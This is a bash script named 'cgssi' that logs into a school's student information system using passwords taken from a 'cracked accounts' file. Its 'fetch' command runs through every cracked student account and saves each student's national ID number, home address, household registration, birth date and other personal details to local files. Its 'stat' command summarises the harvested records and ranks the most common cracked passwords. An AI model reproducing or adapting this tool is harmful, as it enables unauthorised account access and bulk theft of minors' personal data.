#!/bin/bash # cgssi - Country Gadern School Student Informations # cgssi is a free software, maintaince by MagicNAT Networing # Version 0.2 (C) MagicNAT Networking SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%D1%A7%C9%FA%CD%F8%D2%B3" AUTH_URL="http://127.0.0.1:8080/mis/info/list.asp" INFO_URL="http://127.0.0.1:8080/mis/info/tea_info/stu_cxmx_p.asp?nn=%BB%F9%B1%BE%D7%CA%C1%CF" SSID_FILENAME="./.ssid.cookie" STAT_RPT_TMP="./.stat" SEARCH_TMP="./.search" OFFLINE_MODE_INDICATE="./.offline" CRACKED_SAVE="../cgspasswd/cracked.txt" SAVE_DIR="./info/" function update_ssid { echo > $OFFLINE_MODE_INDICATE echo -n "Updateing ssid... " curl -c $SSID_FILENAME $SSID_GEN_URL --connect-timeout 5 > /dev/null 2> /dev/null [[ $? == "0" ]] && echo "OK" && rm $OFFLINE_MODE_INDICATE || echo "Failed! Work in offline mode" } function search { echo > $SEARCH_TMP [[ -z $1 ]] && echo "search: Missing parameters" && return 1 echo -n "Searching for '$1'... " for data in $(ls $SAVE_DIR) do [[ ! -z $(cat $SAVE_DIR$data | grep $1) ]] && echo $data >> $SEARCH_TMP done echo "Done" for data in $(cat $SEARCH_TMP) do cat $SAVE_DIR$data | less done } function stat { echo -n "Generating stat report" echo > $STAT_RPT_TMP echo -n "." echo -e "Overall\n================================================================================" >> $STAT_RPT_TMP echo "Currently $(ls -l $SAVE_DIR | grep -v ^l | wc -l | sed -e 's/ //g') records in database." >> $STAT_RPT_TMP echo "Size: $(du -h $SAVE_DIR | sed -e 's/\.\/.*\///' | sed -e 's/ //g')" >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Sex\n================================================================================" >> $STAT_RPT_TMP echo "Males: $(cat $SAVE_DIR* | grep "性别: 男" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 男//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP echo "Females: $(cat $SAVE_DIR* | grep "性别: 女" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 女//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Date join\n================================================================================" >> $STAT_RPT_TMP cat $SAVE_DIR* | grep 入校日期: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Date birth\n================================================================================" >> $STAT_RPT_TMP cat $SAVE_DIR* | grep 出生年月: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Drpartment\n================================================================================" >> $STAT_RPT_TMP echo "International section: $(cat $SAVE_DIR* | grep 现读 | grep 国际部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP echo "High school section: $(cat $SAVE_DIR* | grep 现读 | grep 高中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP echo "Jounier high section: $(cat $SAVE_DIR* | grep 现读 | grep 初中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP echo "Kindergarten: $(cat $SAVE_DIR* | grep 现读 | grep 幼儿园 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP echo "Oversea section: $(cat $SAVE_DIR* | grep 现读 | grep 留学部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP cat $SAVE_DIR* | grep 现读班级: | awk -F": " '{print $2}' | awk -F"(" '{print $1}' | grep 年级 | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Card type\n================================================================================" >> $STAT_RPT_TMP echo "天天接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP echo "天天自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP echo "普通接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 普通方式接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP echo "节假日自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 节假日自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Hometown\n================================================================================" >> $STAT_RPT_TMP cat $SAVE_DIR* | awk -F"籍贯: " '{print $2}' | grep 省 | awk -F"省" '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -k2nr | grep students >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo -n "." echo -e "Password usage\n================================================================================" >> $STAT_RPT_TMP cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | awk -F, '{print $3}' | sort | uniq -c | sort -k2nr | awk '{printf("%s used %s times\n",$2,$1)}END{print}' | sort -rnk3 | grep times >> $STAT_RPT_TMP echo >> $STAT_RPT_TMP echo " Done" cat $STAT_RPT_TMP | less } function try_acct { [[ -z $1 ]] && return 1 [[ ! -e $SSID_FILENAME ]] && return 1 if [[ ! -z $2 ]] then passwd=$2 else ACCT=$(cat $CRACKED_SAVE | grep $1 | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | tr " " "\n" | uniq ) [[ $(echo $ACCT | awk -F, '{print $1}') == "stu" ]] && passwd=$(echo $ACCT | awk -F, '{print $3}') fi [[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&passwd=$passwd&hd=002" $AUTH_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep 个人资料) ]] && echo "true" && return 0 echo "false" && return 1 } function fetch { [[ -e $OFFLINE_MODE_INDICATE ]] && echo "fetch: Can't fetch in offline mode." && return 1 [[ ! -e $CRACKED_SAVE ]] && echo "fetch_form_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1 ACCTLIST=$(cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g") for acct in $ACCTLIST do typ=$(echo $acct | awk -F, '{print $1}') id=$(echo $acct | awk -F, '{print $2}') passwd=$(echo $acct | awk -F, '{print $3}') [[ $typ == "stu" ]] && echo -n "[$(date)] Fetching informations for $id... " && view $id $passwd > /dev/null && echo "Ok" done } function view { [[ -z $1 ]] && echo "view: Missing parameter" && return 1 [[ -e $SAVE_DIR$1.txt ]] && echo "view: View from cache..." && cat $SAVE_DIR$1.txt | less && return 0 [[ -e $OFFLINE_MODE_INDICATE ]] && echo "view: Cannot view uncahed data in offline mode." echo -n "view: Auth and fetch... " if [[ $(try_acct $*) == "false" ]] then [[ -z $2 ]] && echo "view: Failed to auth. Unknow password." && return 1 echo "view: Failed to auth. Incorrect ID or password." return 1 fi raw=$(curl -b $SSID_FILENAME $INFO_URL 2> /dev/null | iconv -f gbk -t utf-8 2> /dev/null | sed -e :a -e 's/<[^>]*>/|/g;/ $SAVE_DIR$1.txt echo "账户 $1 的基本信息" >> $SAVE_DIR$1.txt echo "================================================================================" >> $SAVE_DIR$1.txt echo "姓名: $(echo $raw | awk -F"姓名" '{print $2}' | awk -F"性别" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "性别: $(echo $raw | awk -F"性别" '{print $2}' | awk -F"入校日期" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "入校日期: $(echo $raw | awk -F"入校日期" '{print $2}' | awk -F"简称" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "入校班级: $(echo $raw | awk -F"入校班级" '{print $2}' | awk -F"公司编号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "现读班级: $(echo $raw | awk -F"现在班级" '{print $2}' | awk -F"离校时间" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "接送卡:$(echo $raw | awk -F"接送卡" '{print $2}' | awk -F"学生档案表" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo >> $SAVE_DIR$1.txt echo >> $SAVE_DIR$1.txt echo "账户 $1 的个人信息" >> $SAVE_DIR$1.txt echo "================================================================================" >> $SAVE_DIR$1.txt echo "民族:$(echo $raw | awk -F"民族" '{print $2}' | awk -F"籍贯" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt echo "籍贯:$(echo $raw | awk -F"籍贯" '{print $2}' | awk -F"出生日期" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt echo "出生年月:$(echo $raw | awk -F"出生日期" '{print $2}' | awk -F"烈军属" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt echo "烈士军属:$(echo $raw | awk -F"烈军属" '{print $2}' | awk -F"政治面貌" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "政治面貌:$(echo $raw | awk -F"政治面貌" '{print $2}' | awk -F"侨属" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "侨属:$(echo $raw | awk -F"侨属" '{print $2}' | awk -F"身份证号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "身份证:$(echo $raw | awk -F"身份证号" '{print $2}' | awk -F"原读学校" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "原就读于:$(echo $raw | awk -F"原读学校" '{print $2}' | awk -F"现在住址" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "现居地: $(echo $raw | awk -F"现在住址" '{print $2}' | awk -F"邮政编码" '{print $1}' | sed -e "s/|//g" | sed -e "s/ //g" | sed -e "s/省//" | sed -e "s/市//" | sed -e "s/区//" | sed -e "s/镇//" )" >> $SAVE_DIR$1.txt echo "邮编:$(echo $raw | awk -F"邮政编码" '{print $2}' | awk -F"所在居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "所在居委会:$(echo $raw | awk -F"所在居委会" '{print $2}' | awk -F"户籍" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "户籍:$(echo $raw | awk -F"户籍" '{print $2}' | awk -F"区 域" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "区域:$(echo $raw | awk -F"区 域" '{print $2}' | awk -F"类型" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "类型:$(echo $raw | awk -F"类型" '{print $2}' | awk -F"户口所在" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "户口所在地:$(echo $raw | awk -F"户口所在地" '{print $2}' | awk -F"户 号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "户口号:$(echo $raw | awk -F"户 号" '{print $2}' | awk -F"户主" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "户主:$(echo $raw | awk -F"户主" '{print $2}' | awk -F"所属派出所" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo "所属派出所:$(echo $raw | awk -F"所属派出所" '{print $2}' | awk -F"居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt echo >> $SAVE_DIR$1.txt echo "Ok" cat $SAVE_DIR$1.txt | less && return 0 } function help { echo echo " cgssi - Country Gadern School Student Informations" echo " cgssi is a free software, maintaince by MagicNAT Networing" echo " Version 0.1 (C) MagicNAT Networking" echo echo " Avaiable commands: view, fetch, search, stat" echo echo " Usage: view [passwd]" echo " view: View the information of given id. If passwd undefined, cgssi will search" echo " password from cgspasswd cracked accounts" echo echo " Usage: fetch" echo " fetch: Fecth all info for id in cgspasswd cracked accounts" echo echo " Usage: search " echo " search: Search all data for given keyword" echo echo " Usage: stat" echo " stat: Stat all datas and show a brief summary" echo } function interactive { echo "cgssi 0.1 (Interactive mode) " echo "Copyright 2014 MagicNAT Networking" echo "This is free software with ABSOLUTELY NO WARRANTY." echo "type help for help" while true do echo -n "cgssi> "; read cmd; if [[ ! -z $cmd ]] then exe=$(echo $cmd | awk '{print $1}') if ! type "$exe" > /dev/null 2> /dev/null then echo "cgssi: command not found: $exe" else $cmd fi fi done } function main { update_ssid [[ -z $* ]] && interactive $* } main $*